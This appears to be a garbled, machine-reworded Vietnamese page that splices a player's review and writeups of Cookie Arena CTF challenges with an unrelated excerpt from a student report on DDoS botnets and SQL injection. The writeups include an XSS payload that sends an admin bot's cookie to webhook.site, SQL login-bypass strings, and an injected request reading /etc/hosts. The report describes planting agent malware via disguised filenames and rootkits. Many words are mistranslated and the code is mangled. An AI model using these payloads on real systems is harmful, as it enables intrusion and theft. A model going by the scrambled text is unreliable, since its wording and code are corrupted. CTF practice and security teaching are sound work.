Cookie Arena được tổ chức bởi Cookie Hân Hoan, một đội nhóm chức giáo dục nhằm phổ trở nên kiến thức an toàn mạng đến với cộng đồng bằng sự đồng cảm, tươi vui và hài hước.
Bạn đang xem: Xử lý các cuộc tấn công mạng liên quan đến tấn công bằng phương thức tấn công qua mạng POP3 (POP3-based Attacks)
"Xin chào, mình là Gấu aka th3_5had0w đến từ Wanne.One, với tư phương pháp là á quân 2 trong cuộc thi Cookie Arena 1 vừa rồi thì sau đây là những đánh giá của mình."
Giống như biện pháp mà ta đi thi toán, luôn luôn làm mọi câu dễ trước nhỉ? Đúng, CTF cũng tương tự như vậy. Các câu dễ dàng nhất thuộc phần Network cùng Web Basic. Thực sự thì 2 phần này không khó, những các bạn beginner không biết gì cũng rất có thể làm được với hình thức trợ giúp tâm đầu ý hợp Google. Riêng biệt phần Network thì kỹ năng trong này đa số là về Linux và các dòng lệnh cơ phiên bản thôi, các bạn mới chơi chỉ cần đi dạo trên mạng internet một dịp thôi cũng đã có thể làm được rồi. Còn phần web Basic, như mẫu tên, nó gợi ý cho chúng ta các kinh nghiệm nền khi tương tác với hạ tầng của một trang web, phần này cũng chưa đề nghị đến khai thác lỗ hổng gì nhiều cả, đa số liên quan cho cookie, header, đọc và hiểu javascript, can thiệp những request, những thành vần cơ phiên bản của web, những phương thức GET, POST...etc.
Web Exploitation thì nâng cấp hơn, đây bắt đầu thực sự liên quan đến các kĩ thuật tiến công vào trang web, y hệt như những câu phân các loại điểm 9 10 vào đề thi toán vậy :Đ
Các test thách tại đoạn này dựa trên các lỗ hổng thông dụng như: XSS, SSFR, SQL Injection,...
Ở đây bao gồm 2 thử thách mà bản thân khá mê thích và đánh giá cao chính là "Paparazzi" cùng "A tiny hole", ko kể việc biết cách tận dụng những lỗ hổng Web, thì còn cần phải hiểu biết nhiều về hệ điều hành và quản lý Linux.
Có một phần mini bao hàm các thử thách Programming, mình đoán có lẽ BTC chế tạo để khuyến khích các bạn nhỏ làm quen với coding vì phần này với cá nhân mình thì để khá nhẹ nhàng cùng giải trí.
Tiếp đến với phần Cryptography, phần này cũng không thật khó, vừa trung ương nhưng những challenge yêu thương cầu fan chơi có kỹ năng và kiến thức nền về toán học với mật mã học, nên bạn nào mong muốn vjp pro phần này thì nhớ học toán chuyên cần như mình và xem thêm các ứng dụng của toán vào mật mã học nhé. Mặc dù có một thách thức liên quan cho mã hóa AES mà lại BTC soạn chưa kĩ lắm khiến cho nhiều fan phải mò mẫm khá mệt.
Cuối thuộc là phần Forensic, phần này liên quan nhiều mang đến pháp hội chứng kĩ thuật số, tức là điều tra các dấu dấu hay manh mối còn còn lại sau một cuộc tiến công của tin tặc như kiểm soát gói tin, bóc tách tách, lọc dữ liệu từ tệp tin ảnh, âm thanh, video... Nghe thì nặng nề nhưng BTC cũng đã làm các thử thách vừa mức độ với chúng ta mới nghịch nên chúng ta nào muốn làm Sherlock Holmes thời
thì cũng không cần ngại đâu nhé, màn dạo bước đầu thường nhẹ nhàng và tràn trề hứng thú. Phần này có một thử thách khá tuyệt hảo liên quan cho thu nhận cùng xử lý bộc lộ từ vệ tinh không gian.
Sau thuộc thì Cookie Arena 1 đã là một trong những cuộc thi CTF vô cùng vui và có tính đối đầu cao giữa những cá nhân, cùng cũng là 1 trong những làn gió new đến với những thí sinh bé dại tuổi, tạo điều kiện để xã hội bảo mật ở nước ta ngày càng trở nên tân tiến lớn mạnh. Đối với riêng cá nhân mình thì mình tất cả một vài ba góp ý nho nhỏ đó là nên tăng lên độ khó cho các thử thách và thêm 2 phần Pwn/Re.
Xin cảm ơn BTC đã tổ chức triển khai cuộc thi, các bạn trẻ nếu có hứng thú với ngành bảo mật thông tin nói thông thường và những giải đấu CTF dành riêng thì không phần lớn follow từng Cookie Hân Hoan hơn nữa follow cả UIT Inseclab sẽ được đọc những writeup, tham khảo thêm về những kĩ thuật hay ho mới mẻ cũng tương tự tham gia các giải đấu sau đây do bọn chúng mình tổ chức triển khai nhaaaa (UIT Hacking Contest đang tới rồi á ??️). Sau đây là phần writeup cho 40 thách thức của giải vừa rồi.
CLB bình an Thông tin Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích gặp mặt học thuật. Phần đông đóng-góp ý-kiến lũ mình luôn-luôn chào đón qua mail: wannaone.uit Vào trang web, ta thấy có một form đăng nhập. Đăng nhập bởi 1 thông tin tài khoản bất kì, công dụng trả về là “You are not Cookie
Web Basic1. Hân hoan
Han
Hoan!”
Chỉnh sửa cookie tại phần httprequest header ta đã đạt được flag

2. Header 401
Từ thương hiệu challenge, mình đoán rằng bài xích này thuộc dạng authentication, status 401 đó là Unauthorized lúc người tiêu dùng xác thực không nên thông tin.
Xem source HTML, mình thấy 1 chuỗi tin tức được bình luận lại
Basic Authentication Credential: gaconlonton/cookiehanhoan
Ta đang dùng tin tức này để chính xác với cú pháp như sau
Authorization: Basic base64(user:pass)
Mình encode gaconlonton:cookiehanhoan sang hình trạng base64 bằng extension Decoder vào burpsuite, ra được chuỗi sau:
Z2Fjb25sb250b246Y29va2lla
GFua
G9hbg==
Lưu ý rằng, rất cần phải đổi method GET→POST trước lúc request

3. JS Bp Bp
View-source HTML, có 4 file script được include vào

Vào coi mã mối cung cấp của 4 file này, ta thấy rằng chỉ toàn là các kí từ bỏ +,<,>,!, search gg mình biết được đó là 1 dạng jsfuck.
Mình tìm cách decode jsfuck bên trên google với thấy 1 trang hơi là hay:https://enkhee-osiris.github.io/Decoder-JSFuck/
Okay, hiện thời ta sẽ sử dụng tool trên nhằm decode không còn 4 file script này:
#1.jsfunction verify
Username(username) if (username != "cookiehanhoan") return false return true #2.jsfunction reverse
String(str) if (str === "") return "" else return reverse
String(str.substr(1)) + str.char
At(0) #3.jsfunction verify
Password(password) if (reverse
String(password) != "dr0Wss
p3rucre
Sr3pus") return false return true #4.jsfunction verify
Role(role) if (role.char
Code
At(0) != 64) return false; if ((role.char
Code
At(1) + role.char
Code
At(2) != 209) && (role.char
Code
At(2) - role.char
Code
At(1) != 9)) return false if ((role.char
Code
At(3).to
String() + role.char
Code
At(4).to
String() != "10578") && (role.char
Code
At(3) - role.char
Code
At(4) != 27)) return false return trueVới,1.js, ta hiểu rằng username ta bắt buộc nhập là cookiehanhoan2.js, Hàm hòn đảo ngược kí tự vào chuỗi3.js, Đảo ngược kí từ của password ra chuỗi dr0Wss
ss
W0rd4.js, Hàm verify
Role có chức năng kiểm tra các kí từ bỏ của role, theo quy tắc:Ở đây, bản thân sẽ màn trình diễn chuỗi string theo phong cách array cho dễ hiểu
Mã Ascii của kí tự trước tiên = 64 → role<0> = ‘
’Ascii(role<1>) + Ascii(role<2>) = 209 Ascii(role<2>) – Ascii(role<1>) = 9Ở đây, ta đưa sử kí tự một là x1, kí trường đoản cú 2 là x2:ta gồm x1 + x2 = 209 với x2 – x1 = 9Giải phương trình ta giành được x1= 100 cùng x2 = 109role<1> = ‘d’, role<2> = ‘m’Chuỗi (Ascii(role<3>) + Ascii(role<4>)) = “10578”, Ascii(role<3>) – Ascii(role<4>) = 27Từ điều bên trên ta đạt được role<3> = ‘i’, role<4> = ‘N’
Kết luận
username = cookiehanhoanpassword = sup3rSercur3p
4. Impossible
Xem sourse HTML, ta thấy hàm check
Pass được điện thoại tư vấn khi ta nhấp vào button Submit
function check
Pass() var password = document.get
Element
By
Id('password').value; if (btoa(password.replace("cookiehanhoan", "")) == "Y29va2lla
GFua
G9hbg==") window.set
5. Infinite Loop
Bài này liên lục redirect đến id khác nhau, xem response của request ?id=6 ta đạt được flag

6. I am not a robot
Vào tranghttp://chal2.web.letspentest.org/robots.txt
Ta thấy 1 đường dẫn sau
User-agent: Allow: /fl
ll0w*
7. Sauce
Xem source HTML→ FlagWeb_Sause_Delicious
Web Explotation1. XSS
Thử với popup hiện nay ra cho thấy thêm rằng đoạn javascript được tiến hành khi.Mình dùng payload xss sau để lấy được cookie của admin bot thông qua webhook.Webhook hoàn toàn có thể hiểu là dịch vụ thứ 3 vị trí nhận những gói tin từ bỏ http, có nhiều dịch vụ webhook online miễn phí, các chúng ta có thể tìm bên trên google. Ở đây mình cần sử dụng https://webhook.site/
Xem request cảm nhận từ webhook, ta đã có được flag

2. XSS Filter
Giống ý tưởng bài bên trên nhưng chú ý rằng server thêm CSP (Content Security Policy)default-src 'self'; script-src 'nonce-matuhn' 'strict-dynamic'; style-src 'unsafe-inline'Ta hoàn toàn có thể hiểu là nonce-xxxxxxxx tức là chỉ cho phép script nào match đúng mực thì new được phép thực thi
Đợi 1 lúc. Xem request nhận thấy từ webhook, ta giành được flag.
Xem thêm: Pattie Ungsumalynn Sirapatsakmetha Và Bạn Trai, Hai Sao Thái Lan Kết Hôn Sau 13 Năm Hẹn Hò
3. Ét Quy Eo
Bài này thuộc loại sql injection authentication. Ta hoàn toàn có thể dùng payload sau:xxx" or 1=1 --Đoạn query sẽ triển khai trông như vậy này:select from users where username="xxx" or 1=1-- và password=""Vì 1=1 trả về true và đoạn sau vệt -- sẽ ảnh hưởng commentnên ta có thể hiểu câu lệnh query như sau:select from users where username=true
Kết quả trả về:(1, 'lil uzi vert', 'is_admin', 'Rmxh
Z3t
Gcj
Mz
X1N0e
Wwzf
4. SQL Filter
bằng biện pháp dùng o
R :)) (vì câu lệnh sql chữ thường tốt in hoa đều tiến hành được)Thay vì chưng 1=1 ta có thể dùng (1)payload : xxx"o
R(1)--(1, 'lil uzi vert', 'is_admin', 'Rmxh
Z3t
Hcj
Mzd
DFu
G
5. Misconfiguration
Bài này flag được chia thành 3 phần.Dùng tool gobuster cùng với wordlist common.txt ta gồm 2 băng thông là:.htaccess → part 1: Flag base64 -d)).qcpar0iw.requestrepo.com`%0A&script_url=file:///etc/hostsrequest2:
command_log_file=log2&script_dir=toidihackdao&script_name=hackisfun&script_url=file:///src/logs/log.txt
Kết quả:

1. SUM()
Khi ta liên kết netcat:
from pwn import * p=remote('programming.letspentest.org',8111) while(1):p.recvuntil(" ")s = p.recvuntil(" ") log.info(s)m = s.split(" ")sum = 0;for i in m:if i!=" ": sum+=int(i,10)p.sendline(str(sum)) p.recvuntil(" ")msg = p.recvuntil(" ") if "flag" in msg:log.info("BINGO "+msg)break p.interactive()FLAG: Flag1plust1_1s_2_qu1ck_mafth
2. Pro102
Ở bài này chương trinh mang lại ta 1 phương trình bậc 2. Trong file teamplate send với recive tác giả cấp có gợi ý cho ta phương pháp gửi input:
nc programming.letspentest.org 8222 Equation:1*X^2 - 710*X + 36025 = 0Calculate the roots of this equation:Tới đây thì mình áp dụng công thức toán không còn xa lạ ở cấp cho 2 tính delta nhằm xác soát sổ nghiệm của phương trinh thé nào tiếp nối áp bí quyết tính ra nghiệm:Code solve:
from pwn import *import cmathp = remote("programming.letspentest.org", 8222) for i in range(10):p.recvuntil(" ")bt = p.recvuntil(" ") log.info(bt)s = bt.split("*X^2")a = int(s<0>,10)s2 = s<1>.split("*X")b = int(s2<0>,10)s3 = s2<1>.split("=")c = int(s3<0>,10)delta = b**2 - 4 * a * c if delta FLAG: Flag2fast2fur10us
3. Roberval
Đề bài:
nc programming.letspentest.org 8333Harry bao gồm một túi bi có N viên, trong đó, có một viên bi khối lượng nhẹ hơn so với các viên bi còn lại. Harry mang lại thí sinh một mẫu cân Roberval cùng yêu cầu thực hiện chiếc cân này nhằm tìm ra viên bi nhẹ hơn với ít số lần cân nhất.Với N = 1594323Số lần cân tối thiểu là:Bài toán cân nặng bi là 1 trong bài toán khá ghê điển, các chúng ta cũng có thể dễ dàng tìm thấy trên google. Thực ra công thức minh cũng search google ra : )). Phương pháp mình tìm kiếm dc là: X = log3(n) -> với x là số lần cân tối thiểu . N là con số bi
Code khai thác:
from pwn import * import cmathfrom sympy import * import mathp = remote("programming.letspentest.org", 8333) i=1for i in range(5):p.recvuntil("N = ")x = int(p.recvuntil(" ")<:-2>,10) t = log(x,3)p.sendline(str(t))print(i)i=i+1p.recvline()p.interactive()Flag: Flagn0_pr0b_w1th_cub3_r00t_RIGHT?
Network1. Post Office Man
Thử connect mang đến domain với port được cung cấpnc network.letspentest.org 9002
Nhận được tin tức sau mình biết được server đang tiếp xúc bằng phương thức pop3+OK popper file-based pop3 vps ready
Okay, đăng nhập với user cùng pass bất kì
Please using USER to lớn login first
Các bạn hãy thực hiện câu lênh USER nhằm login vào hệ thống (Cứ nhập loạn xạ zô 乁| ・ 〰 ・ |ㄏ)USER 3+OK user accepted
Please using PASS lớn login first
Các bạn hãy sử dụng câu lênh PASS để login vào khối hệ thống (Cú nhập lăng loàn zô 乁| ・ 〰 ・ |ㄏ)PASS 1+OK pass accepted
Dùng command menu để hiển thị ra sản phẩm tự và thông tin về kích thước tin nhắn
RETR 8...************************| Flag1-Ha/3-1o0o-Un
S33n-3Ma1L |******************** ...
2. Very Good Shipper
Dựa vào đề bài, mình nghĩ ngay mang đến scan port bằng nmap$ nmap -v network.letspentest.org...Discovered open port 9003/tcp on 18.139.222.220 Discovered xuất hiện port 9002/tcp on 18.139.222.220 ...Ta đạt được 2 cổng là 9002 với 9003Tuy nhiên, 9002 là cổng đang được sử dụng ở bài xích Post Office Man đề nghị ta sẽ liên kết vào cổng 9003.Để làm bài bác này mình đã xem kĩ phần rules, nên vượt qua khá dễ.Lưu ý bài này còn có một khoảng thời gian timeout, ta đề xuất làm nhanh.nc network.letspentest.org 9003
Mình đã để giải đáp ở đây:Có từng nào chủ đề vào Cookie Arena Season 1?-> 6Ngoài 3 giải thiết yếu (nhất, nhì, ba), thì Cookie Hân Hoan bao gồm bao nhiêu giải thưởng phụ?-> 10Cookie Hân Hoan bao gồm bao nhiêu nhân thiết bị chính?-> 4Bạn đang liên kết tới cánh cửa này trải qua giao thức mạng nào?-> TCPCookie hoan hỉ là fanpage share về?-> bảo mật thông tin và an ninh thông tin
Những bạn được ban tổ chức triển khai lựa lựa chọn để trao giải, bao gồm phải gửi biện pháp giải các thử thách (write-up) mang lại BTC không?-> Có
Flag: Flagt00-ez-4-y0u
3. Where is my house?
Đề bài nhắc đến khá nhiều keyword "DNS", vì chưng vậy mình cần sử dụng dig để xem thông tin của Records về tên miền này. Theo tay nghề mình thì flag thường nằm tại TXT record, bắt buộc mình dùng command sau:
dig txt letspentest.org...;; ANSWER SECTION:letspentest.org. 300 IN TXT "FlagDNS_A_AAAA_TXT_CNAME"Flag: FlagDNS_A_AAAA_TXT_CNAME
Scan me if you canĐề bài xích đã quá rõ ràng, mình ban đầu scan port 8100-9100
$ nmap -p 8100-9100 network-insecure.letspentest.org
PORT STATE SERVICE9003/tcp mở cửa unknown9004/tcp mở cửa unknown
Nmap done: 1 IP address (1 host up) scanned in 154.84 seconds
HTTP/1.1 400 Bad Request
Server: FlagEvery-Header-Have-It-Own-MeaningDate: Thu, 04 Nov 2021 07:33:15 GMT Content-Type: text/html
Content-Length: 157 Connection: close400 Bad Request 400 Bad Request nginx/1.20.0
• khám phá các kĩ thuật tiến công ứng dụng Web bao hàm các kĩ thuậto Chèn mã lệnh xúc tiến trên trình khách Cross-site Scripting.o Chèn câu truy tìm vấn SQL và tiến công SQL Injection nâng caoo tấn công Local Acttack.o lắc đầu dịch vụ .


Bạn đã xem trước trăng tròn trang tài liệu Đề tài Ứng dụng web và phương pháp tấn công và bảo mật thông tin web, để thấy tài liệu hoàn chỉnh bạn click vào nút download ở trên
phương pháp active cùng passive để cài đặt agent software lên các máy khác nhằm cấu hình thiết lập attack-network vẻ bên ngoài Agent-Handler giỏi IRC-based. - Cách setup Active: + Scaning: dùng các công cố kỉnh như Nmap, Nessus để tìm rất nhiều sơ hở trên các hệ thống đang online nhằm thiết đặt Agentsoftware. Chú ý, Nmap đã trả về những thông tin về một hệ thống đã được hướng đẫn bằng địa chỉ IP, Nessus kiếm tìm kiếm trường đoản cú những địa chỉ IP ngẫu nhiên về một nhược điểm biết trước như thế nào đó. + Backdoor: sau khi tìm tìm tòi danh sách các hệ thống có thể lợi dụng, attacker sẽ tiến hành xâm nhập và cài Agentsoftware lên các hệ thống này. Có không ít thông tin sẵn bao gồm về phương pháp xâm nhập trên mạng, như site của tổ chức Common Vulnerabilities & Exposures (CVE), ở đây liệt kê cùng phân các loại trên 4.000 một số loại lỗi của DDo
X có thể được cho phép IE brower tự động download và thiết lập code trên đồ vật của user duyệt web. + Corrupted file: một cách thức khác là nhúng code vào trong những file thông thường. Khi user đọc hay thực thi những file này, máy của họ lập tức bị lây nhiễm Agent software. Trong những kỹ thuật phổ cập là đặt tên file siêu dài, bởi vì default của các hệ điều hành và quản lý chỉ hiển thị trường đầu của tên file yêu cầu attacker hoàn toàn có thể gửi kèm theo e-mail cho nàn nhân file như sau: iloveyou.txt_hiiiiiii_NO_this_is_DDo
S.exe, bởi chỉ thấy phần “Iloveyou.txt” hiển thị bắt buộc user đã mở tệp tin này nhằm đọc và mau chóng file này được xúc tiến và Agent code được sở hữu vào thiết bị nạn nhân. Dường như còn nhiều phương pháp khác như ngụy trang file, ghép file… - Rootkit: là đều chương trình dùng để làm xóa vết vết về việc hiện diện của Agent giỏi Handler trên lắp thêm của nạn nhân. Rootkit thường được sử dụng trên Hander software đã có được cài, nhập vai trò xung yếu mang lại sự hoạt động vui chơi của attack-network tốt trên các môi trường mà kỹ năng bị phát hiện tại của Handler là khôn cùng cao. Rootkit vô cùng ít khi sử dụng trên những Agent bởi vì mức độ đặc trưng của Agent không tốt và nếu tất cả mất một trong những Agent cũng không ảnh hưởng nhiều cho attack-network. * tiếp xúc trên Attack-Network: - Protocol: tiếp xúc trên attack-network hoàn toàn có thể thực hiện trên nền các protocol TCP, UDP, ICMP. - Mã hóa các giao tiếp: một vài pháp luật DDo
S cung cấp mã hóa tiếp xúc trên toàn cục attack-network. Tùy theo protocol được áp dụng để tiếp xúc sẽ bao gồm các phương thức mã hóa ưa thích hợp. Ví như attack-network sinh hoạt dạng IRC-based thì private cùng secrect channel đã cung ứng mã hóa giao tiếp. - bí quyết kích hoạt Agent: có hai phương pháp chủ yếu nhằm kích hoạt Agent. Cách thứ nhất là Agent sẽ liên tiếp quét thăm dó Handler giỏi IRC channel để nhận chỉ thị (active Agent). Biện pháp thứ nhì là Agent chỉ đơn giản và dễ dàng là “nằm vùng” chờ chỉ thị từ Handler tuyệt IRC Channel. Ii.d. Một trong những công cầm cố DDo
S: Dựa trên căn cơ chung của phần trên, đã có không ít công nuốm được viết ra, thông thường các khí cụ này là mã mối cung cấp mở bắt buộc mức độ tinh vi ngày càng cao và có khá nhiều biến thể bắt đầu lạ. * nguyên tắc DDo
S dạng Agent – Handler: - Trin
OO: là một trong trong những công nỗ lực DDo
S đầu tiên được vạc tán rộng lớn rãi. Trin
OO có phong cách xây dựng Agent – Handler, là cơ chế DDo
S đẳng cấp Bandwidth Depletion Attack, sử dụng kỹ thuật UDP flood. Các version trước tiên của Trin
OO không hỗ trợ giả mạo địa chỉ IP. Trin
OO Agent được thiết đặt lợi dụng lỗi remote buffer overrun. Hoạt động trên hệ điều hành Solaris 2.5.1 à Red Hat Linux 6.0. Attack – network tiếp xúc dùng TCP (attacker client với handler) với UDP (Handler và Agent). Mã hóa giao tiếp dùng phương pháp mã hóa đối xứng thân Client, handler cùng Agent. - Tribe Flood Network (TFN): Kiểu bản vẽ xây dựng Agent – Handler, giải pháp DDo
S hoễ trợ hình trạng Bandwidth Deleption Attack với Resourse Deleption Attack. áp dụng kỹ thuật UDP flood, ICMP Flood, TCP SYN với Smurf Attack. Các version đầu tiên không cung ứng giả mạo địa chỉ IP, TFN Agent được cài đặt lợi dụng lỗi buffer overflow. Vận động trên hệ điều hành Solaris 2.x cùng Red Hat Linux 6.0. Attack – Network giao tiếp dùng ICMP ECHO REPLY packet (TFN2K cung ứng thêm TCP/UDP với nhân kiệt chọn protocol tùy ý), ko mã hóa tiếp xúc (TFN2K cung cấp mã hóa) - Stacheldraht: là thay đổi thể của TFN tất cả thêm kĩ năng updat Agent tự động. Tiếp xúc telnet mã hóa đối xứng giữa Attacker với Handler. - Shaft: là đổi thay thể của Trin
OO, giao tiếp Handler – Agent trên UDP, Attacker – Hendle trên Internet. Tấn công dùng kỹ thuật UDP, ICMP và TCP flood. Có thể tấn công phối hợp nhiều kiểu thuộc lúc. Có thống kê bỏ ra tiết được cho phép attacker biết triệu chứng tổn thất của nàn nhân, nấc độ bài bản của cuộc tấn công để điều chỉnh số lượng Agent. * mức sử dụng DDo
S dạng IRC – Based: quy định DDo
S dạng IRC-based được cải tiến và phát triển sau các công chũm dạng Agent – Handler. Mặc dù nhiên, lao lý DDo
S dạng IRC phức tạp hơn khôn cùng nhiều, bởi tích hợp không ít đặc tính của những công cố kỉnh DDo
S dạng Agent – Handler. - Trinity: là 1 trong điển hình của hình thức dạng này. Trinity có số đông các kỹ thuật tấn công bao gồm: UDP, TCP SYS, TCP ACK, TCP fragment, TCP NULL, TCP RST, TCP random flag, TCP ESTABLISHED packet flood. Nó tất cả sẵn tài năng ngẫu nhiên hóa showroom bên gởi. Trinity cũng hỗ trợ TCP flood packet với kĩ năng ngẫu nhân tập CONTROL FLAG. Trinity nói theo một cách khác là một trong các các phép tắc DDo
S nguy hại nhất. - hình như có thể kể thêm về một số công thay DDo
S khác ví như Knight, được thiết kế với chạy bên trên Windows, sử dụng kỹ thuật setup của troijan back Orifice. Knight dùng những kỹ thuật tấn công như SYV, UDP Flood và Urgent Pointer Flooder. - cuối cùng là Kaiten, là phát triển thành thể của Knight, cung cấp rất các kỹ thuật tấn công như: UDP, TCP flood, SYN, PUSH + ACK attack. Kaiten cũng quá hưởng kỹ năng ngẫu nhiên hóa showroom giả mạo của Trinity. 2.2.3. Tấn công lắc đầu dịch vụ phản xạ nhiều vùng DRDo
S (Distributed Reflection Denial of Service) xuất hiện thêm vào đầu năm 2002, là kiểu tấn công mới nhất, mạnh mẽ nhất trong bọn họ Do
S. Nếu được thực hiện bởi kẻ tấn công có trình độ chuyên môn thì rất có thể hạ gục bất cứ hệ thống giây phút - mục tiêu chính của DDDo
S là chỉ chiếm đoạt toàn thể băng thông của máy chủ, tức là làm tắc ngẽn hoàn toàn đường liên kết từ máy chủ vào xương sinh sống của internet và tiêu tốn tài nguyên thứ chủ. Trong suốt quy trình máy chủ bị tấn vô tư Dr
Do
S, không một thứ khách như thế nào ch thể liên kết được vào sever đó. Tất cả các thương mại dịch vụ chạy trên nền TCP/IP như DNS, HTTP, FTP, POP3, ... Phần nhiều bị vô hiệu hóa hóa. - Về cơ bản, Dr
Do
S là sự phối kết hợp giữa hai vẻ bên ngoài Do
S với DDo
S. Nó bao gồm kiểu tấn công SYN cùng với một máy vi tính đơn, vừa có sự phối hợp giữa nhiều máy tính xách tay để sở hữu băng thông như hình trạng DDo
S. Kẻ tấn công thực hiện bằng cách giả mạo địa chỉ của server phương châm rồi gởi yêu cầu SYN đến các server bự như Yahoo,Micorosoft…,để các server này gửi các gói tin SYN/ACK mang lại server mục tiêu. Những server lớn, mặt đường truyền dạn dĩ đã vô tình nhập vai trò zoombies mang lại kẻ tấn công như trong Ddo
S Hình 10. Sơ đồ thể hiện kiểu tấn công DRDOS - quy trình gửi cứ lặp lại liên tiếp với nhiều showroom IP giảp tự kẻ tấn công, với tương đối nhiều server to tham gia yêu cầu server mục tiêu hối hả bị quá tải, bandwidth bị sở hữu bởi server lớn. Tính nghệ thuật là ở chổ chỉ cần với một máy tính xách tay với modem 56kbps, một hacker lành nghề có thể đánh bại bất cứ máy công ty nào trong tích tắc mà không đề xuất chiếm đoạt bất cứ máy nào để gia công phương tiện triển khai tấn công. 2.3. SQL Injection 2.3.1. Tiến công SQL injection 2.3.1.1. SQL Injection là gì? - khi triển khai các ứng dụng web bên trên Internet, không ít người dân vẫn cho rằng việc bảo vệ an toàn, bảo mật nhằm giảm thiểu tối đa kỹ năng bị tiến công từ những tin tặc chỉ 1-1 thuần tập trung vào những vấn đề như lựa chọn hệ điều hành, hệ quản lí trị đại lý dữ liệu, webserver đã chạy ứng dụng, ... Mà xem nhẹ ằng ngay cả bạn dạng thân vận dụng chạy trên này cũng tiềm ẩn một lỗ hổng bảo mật rất lớn. Một trong những các lỗ hổng này chính là SQL injection. Tại Việt Nam, đang qua thời kì các quản trị website lơ là việc quét virus, cập nhật các bạn dạng vá lỗi trường đoản cú các phần mềm hệ thống, tuy vậy việc chăm lo các lỗi của những ứng dụng lại rất ít được quan tiền tâm. Đó là lí do tại sao trong thời gian vừa qua, không ít website tại vn bị tấn công và phần lớn đều là lỗi SQL injection. Vậy SQL injection là gì ? - SQL injection là một trong kĩ thuật chất nhận được những kẻ tiến công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web cùng các thông báo lỗi của hệ cai quản trị cơ sở dữ liệu để "tiêm vào" (inject) với thi hành các câu lệnh SQL phi pháp (không được người trở nên tân tiến ứng dụng lường trước). Hậu quả của chính nó rất tai hại vị nó cho phép những kẻ tấn công rất có thể thực hiện tại các thao tác làm việc xóa, hiệu chỉnh, … do có toàn quyền bên trên cơ sở dữ liệu của ứng dụng, thậm chí còn là server mà áp dụng đó đang chạy. Lỗi này thường xẩy ra trên những ứng dụng website có dữ liệu được quản lí lí bằng những hệ quản trị cơ sở dữ liệu như SQL Server, My
SQL, Oracle, DB2, Sysbase. 2.3.1.2. Những Dạng tấn công SQL Injection - có bốn dạng thông thường bao gồm: vượt qua chất vấn lúc đăng nhập (authorization bypass), sử dụng câu lện SELECT, sử dụng câu lệnh INSERT, sử dụng những stored-procedures. - Để biết những website bán sản phẩm sử dụng cơ sở dữ liệu SQL ta sử dụng những soft hoặc những công gắng tìm lỗi.Hoặc các công núm tìm tìm như Google.Và dùng những Dork tìm kiếm như : inurl : product.php?id= Hình 11. Một tools tìm site lỗi Online - Để biết trang web nào dính lỗi SQL Injection ta thêm vệt “ ’ ” vào sau cùng thanh địa chỉ. Lấy ví dụ : ’ Hình 12. Một site bị lỗi SQL Injection i. Dạng tấn công vượt qua kiểm tra đăng nhập - cùng với dạng tấn công này, tin tặc hoàn toàn có thể dễ dàng vượt qua những trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL làm việc trên cơ sở tài liệu của vận dụng web. Xét một ví dụ như điển hình, thường thì để chất nhận được người dùng truy cập vào các trang web được bảo mật, khối hệ thống thường xây dựng trang singin để yêu thương cầu người dùng nhập tin tức về thương hiệu đăng nhập cùng mật khẩu. Sau khi người dùng nhập tin tức vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu gồm hợp lệ hay là không để quyết định được cho phép hay phủ nhận thực hiện tiếp. Vào trường hợp này, người ta hoàn toàn có thể dùng hai trang, một trang HTML nhằm hiển thị size nhập liệu cùng một trang ASP dùng để xử lí thông tin nhập từ phía bạn dùng. Ví dụ: login.htm Username: Password: execlogin.asp - Thoạt nhìn, đoạn mã vào trang execlogin.asp bên cạnh đó không chứa bất kể một lỗ hổng về bình an nào. Người dùng không thể đăng nhập nhưng mà không có tên đăng nhập cùng mật khẩu đúng theo lệ. Mặc dù nhiên, đoạn mã này thực sự không bình an và là tiền đề cho một lỗi SQL injection. Đặc biệt, vị trí sơ hở nằm ở đoạn dữ liệu nhập vào từ người tiêu dùng được dùng để xây dựng trực tiếp câu lệnh SQL. Chủ yếu điều này chất nhận được những kẻ tấn công hoàn toàn có thể điều khiển câu tróc nã vấn sẽ được thực hiện. Ví dụ, nếu người dùng nhập chuỗi sau vào trong cả hai ô nhập liệu username/password của trang login.htm là: " OR " " = " ". Lúc này, câu truy tìm vấn sẽ tiến hành gọi triển khai là: SELECT * FROM T_USERS WHERE USR_NAME ="" OR ""="" và USR_PASSWORD= "" OR ""="" - Câu truy nã vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS cùng đoạn mã tiếp theo sau xử lí người dùng đăng nhập phạm pháp này như là người tiêu dùng đăng nhập vừa lòng lệ. Ii. Dạng tiến công sử dụng câu lệnh SELECT - Dạng tiến công này phức tạp hơn. Để triển khai được kiểu tiến công này, kẻ tấn công phải có chức năng hiểu và lợi dụng những sơ hở vào các thông tin lỗi từ khối hệ thống để dò tìm các điểm yếu bắt đầu cho bài toán tấn công. Xét một ví dụ vô cùng thường gặp mặt trong những website về tin tức. Thông thường, sẽ sở hữu một trang nhấn ID của tin đề xuất hiển thị rồi sau đó truy vấn câu chữ của tin bao gồm ID này. Ví dụ: . Mã nguồn cho tính năng này thường xuyên được viết khá đơn giản dễ dàng theo dạng - trong các tình huống thông thường, đoạn mã này hiển thị ngôn từ của tin tất cả ID trùng cùng với ID đã chỉ định và hướng dẫn và phần lớn không thấy gồm lỗi. Mặc dù nhiên, y như ví dụ đăng nhập ở trước, đoạn mã này để lộ sơ hở cho một lỗi SQL injection khác. Kẻ tấn công rất có thể thay cầm một ID hợp lệ bằng cách gán ID cho 1 giá trị khác, cùng từ đó, mở đầu cho một cuộc tiến công bất đúng theo pháp, lấy ví dụ như: 0 OR 1=1 (nghĩa là, or 1=1). - Câu truy hỏi vấn SQL hôm nay sẽ trả về toàn bộ các article tự bảng tài liệu vì nó sẽ thực hiện câu lệnh: SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1 - Một trường hợp khác, ví dụ như trang search kiếm. Trang này cho phép người dùng nhập vào các thông tin tìm kiếm như Họ, Tên, … Đoạn mã thường chạm mặt là: - tương tự như như trên, tin tặc có thể lợi dụng sơ hở vào câu truy vấn SQL để nhập vào ngôi trường tên người sáng tác bằng chuỗi giá chỉ trị: " UNION SELECT ALL SELECT Other
Field FROM Other
